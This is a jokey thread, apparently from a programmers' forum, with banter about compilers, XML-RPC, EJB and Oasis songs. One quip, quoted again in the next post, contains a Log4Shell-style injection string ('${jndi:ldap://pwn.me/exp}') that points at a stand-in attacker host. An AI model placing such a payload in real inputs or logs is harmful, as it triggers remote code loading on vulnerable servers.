jsdoc 2.0
-
We had to close out the shitshow that was 2021 in some entertaining fashion I guess?
-
@Applied-Mediocrity said in jsdoc 2.0:
and move on.
We don't get much entertainment in these parts, I guess
I can start talking about pregnancy tests? Might even post one or two.
-
@turingmachine said in jsdoc 2.0:
As soon as you start changing things, I very much want the compiler to tell me about each and every place of the code I need to change, too.
You'd think so, but reality is so much messier.
-
I can start talking about pregnancy tests? Might even post one or two.
The new type of thermometer?
-
@Applied-Mediocrity said in jsdoc 2.0:
I can start talking about pregnancy tests? Might even post one or two.
The new type of thermometer?
I can't figure out how to get it off my iPhone so you'll never know.
-
-
@turingmachine said in jsdoc 2.0:
As soon as you start changing things, I very much want the compiler to tell me about each and every place of the code I need to change, too.
You'd think so, but reality is so much messier.
Can’t get compiler errors when all your code gets loaded in dynamically by
${jndi:ldap://pwn.me/exp}.
-
@Applied-Mediocrity no you'd have to override a ton of presets to put everything on a table
Even if the table is wooden?
-
@turingmachine said in jsdoc 2.0:
As soon as you start changing things, I very much want the compiler to tell me about each and every place of the code I need to change, too.
You'd think so, but reality is so much messier.
Can’t get compiler errors when all your code gets loaded in dynamically by
${jndi:ldap://pwn.me/exp}.Functions as a service!
-
@Carnage XML-RPC called…
-
-
@Carnage hopefully memories that don’t make you (and a million other voices) scream in terror, and then be silenced?
-
@Carnage hopefully memories that don’t make you (and a million other voices) scream in terror, and then be silenced?
There are a few of the voices in my head screaming now yes, but they'll shut up soon anyway.
-
The guy is a psychopath who made the word hello an entire third paragraph. I'm not sure what you're expecting. Move both his threads to spam and move on.
Hello.
Hello? (Hello ==
hello) != (Hello == f(hello)).Hello!
-
@Steve_The_Cynic said in jsdoc 2.0:
@Applied-Mediocrity no you'd have to override a ton of presets to put everything on a table
Even if the table is wooden?
Of course not if it's wooden, don't question the WTFTP
-
@Carnage hopefully memories that don’t make you (and a million other voices) scream in terror, and then be silenced?
You retaining this hope in the face of XML-RPC is the real hope.
-
@Applied-Mediocrity said in jsdoc 2.0:
you'll never know
Don't worry, he can't ever actually know that you'll never know that.
-
@Carnage hopefully memories that don’t make you (and a million other voices) scream in terror, and then be silenced?
There are a few of the voices in my head screaming now yes, but they'll shut up soon anyway.
screams along in EJB
-
@Carnage hopefully memories that don’t make you (and a million other voices) scream in terror, and then be silenced?
There are a few of the voices in my head screaming now yes, but they'll shut up soon anyway.
screams along in EJB
It sure was a rough time until OASIS fixed everything,
-
@Gribnit It is impossible to play sufficient Wonderwall to block out the crazy.
-
@DogsB But a lack of three or more consecutive exclamation points, so not yet at the underpants-on-the-head stage.
-
@Steve_The_Cynic said in jsdoc 2.0:
@Tsaukpaetra said in jsdoc 2.0:
hijacking another project's name
We don't talk about room-encompassing elephants!
So we don't mention the room in the elephant?
... You're not talking about That Scene, are you?
-
@Tsaukpaetra said in jsdoc 2.0:
@Steve_The_Cynic said in jsdoc 2.0:
@Tsaukpaetra said in jsdoc 2.0:
hijacking another project's name
We don't talk about room-encompassing elephants!
So we don't mention the room in the elephant?
... You're not talking about That Scene, are you?
Nah, just an inversion of the usual phrase.
-
@Arantor Bur it is very easy to play too much Wonderwall. You know, just play it even once, and you're already there.
-
@Steve_The_Cynic I personally find it no difficulty at all to not play too much Wonderwall.
Mostly because every time I hear anything by the Gallagher brothers I just have unreasonable urges to bang their heads together.
-
@Steve_The_Cynic I personally find it no difficulty at all to not play too much Wonderwall.
Mostly because every time I hear anything by the Gallagher brothers I just have unreasonable urges to bang their heads together.
Let me assure you there's absolutely nothing unreasonable about that!
-
@LaoC the level of, uh, enthusiasm that would be involved would be considered unreasonable for someone in the equation. Probably two someones. Though I suppose they’d find it hard to complain afterwards.
-
@Arantor It depends on just how thick the skulls are. Pretty thick, yes, but exactly how much?
-
@dkf thick enough, hence the desire to be unreasonably enthusiastic about it.
-
@dkf thick enough, hence the desire to be unreasonably enthusiastic about it.
Since a hypothesis was created ("Their heads are thick."), a measurable variable introduced ("thickness") and a method proposed ("bang their heads together"), it's clearly For Science.
As such, there's absolutely nothing unreasonable about it since, as we all know, science thrives on reason.
-
method proposed ("bang their heads together"), it's clearly For Science.
As such, there's absolutely nothing unreasonable about itthey were already banging their heads together themselves
-
method proposed ("bang their heads together"), it's clearly For Science.
As such, there's absolutely nothing unreasonable about itthey were already banging their heads together themselves
:tweedle-dee: :tweedle-dum:
